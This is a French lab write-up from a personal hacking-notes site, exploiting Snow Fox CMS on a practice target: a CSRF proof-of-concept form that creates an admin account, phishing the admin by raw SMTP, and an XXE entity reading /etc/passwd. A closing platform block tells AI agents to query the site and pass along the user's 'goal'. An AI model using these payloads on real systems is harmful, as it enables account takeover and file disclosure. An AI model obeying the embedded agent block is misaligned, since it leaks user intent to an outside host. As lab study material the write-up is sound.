> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/snowfox-cms-exploitation.md).

# SnowFox

## Vulnérabilité CSRF

SearchExploit révèle une vulnérabilité CSRF dans Snow Fox CMS.

<figure><img src="/files/c4b6e1ad3721175f6286eb71ccb706f082be8d7d" alt=""><figcaption></figcaption></figure>

**Fichier HTML vulnérable :**

```html
<html>
  <body>
    <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="jordan@jordan.com" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="jordan-admin" />
      <input type="hidden" name="newPassword" value="jordan-password" />
      <input type="hidden" name="confirmPassword" value="jordan-password" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Envoyer le formulaire" />
    </form>
  </body>
</html>
```

[CSRF](/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md) tentative de création d'un compte administrateur dans Snow Fox CMS

* Connectez-vous via telnet sur le port SMTP 25.

<figure><img src="/files/ff050542b8e20cf8363a04948ef013f7d00614d5" alt=""><figcaption></figcaption></figure>

* Envoyez un e-mail à `valenka@casino-royale.local` contenant le lien vers le serveur HTTP Python de l'attaquant hébergeant le fichier HTML vulnérable.

<figure><img src="/files/b8527269004cae2fd70dd463114d5006684adb98" alt=""><figcaption></figcaption></figure>

**Connexion avec le compte administrateur du CMS :**

* Connectez-vous avec les nouveaux identifiants, ce qui entraîne la création d'un compte administrateur sur Snow Fox CMS.

<figure><img src="/files/92a17ae05e1302fc6f11bf5dd9d45ea214e9bc68" alt=""><figcaption></figcaption></figure>

#### Après exploitation de la vulnérabilité CSRF, un compte administrateur est créé dans Snow Fox CMS.

<figure><img src="/files/9278ad69430df2ece2c10ec0e0b26e4e3428e8d8" alt=""><figcaption></figcaption></figure>

#### Identification d'un indice dans une description d'utilisateur

Une description d'utilisateur du CMS contient un indice supplémentaire pointant vers un répertoire à suivre.

<figure><img src="/files/70b87785cc1cb168af675efa72bda7dbbedba36d" alt=""><figcaption></figcaption></figure>

## Vulnérabilité XXE

<div data-full-width="true"><figure><img src="/files/ca819beb0911b18519f65fc62739ef13e39dc1bc" alt=""><figcaption></figcaption></figure></div>

#### Analyse du code source de la structure XML interceptée avec Burp Suite

<figure><img src="/files/b9a79f5b6ded7da8f3aeb43b0dfa3c8ca21d49e1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/215cadd512e35cc3bb55079957320f2cb37aeee1" alt=""><figcaption></figcaption></figure>

#### Tentative d'attaque XXE (injection d'entité externe XML)

* Changez la méthode de requête de GET à POST.

<figure><img src="/files/7f9592de276873a7c72c001bca4c0f71fb65c8b9" alt=""><figcaption></figcaption></figure>

* Essayez d'injecter un modèle XXE dans la requête POST.

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		Jordan
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* Observez comment le serveur interprète le modèle XXE.

<figure><img src="/files/3744a8180bcf8be3688d64fed51b437e7f8ccceb" alt=""><figcaption></figcaption></figure>

* Pour accéder aux fichiers système, créez un nouveau **entité**, par exemple `myFile`: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>`

Puis envoyez le résultat dans une variable avec `&myFile` comme ceci :

<figure><img src="/files/e65610facd9fe0136ec18e5c2cb3ea47920813b9" alt=""><figcaption></figcaption></figure>

#### Identification de `ftpUserULTRA` Utilisateur

<figure><img src="/files/563addb0d1e3ed3c16bdeca3777012792b17fa3c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/snowfox-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
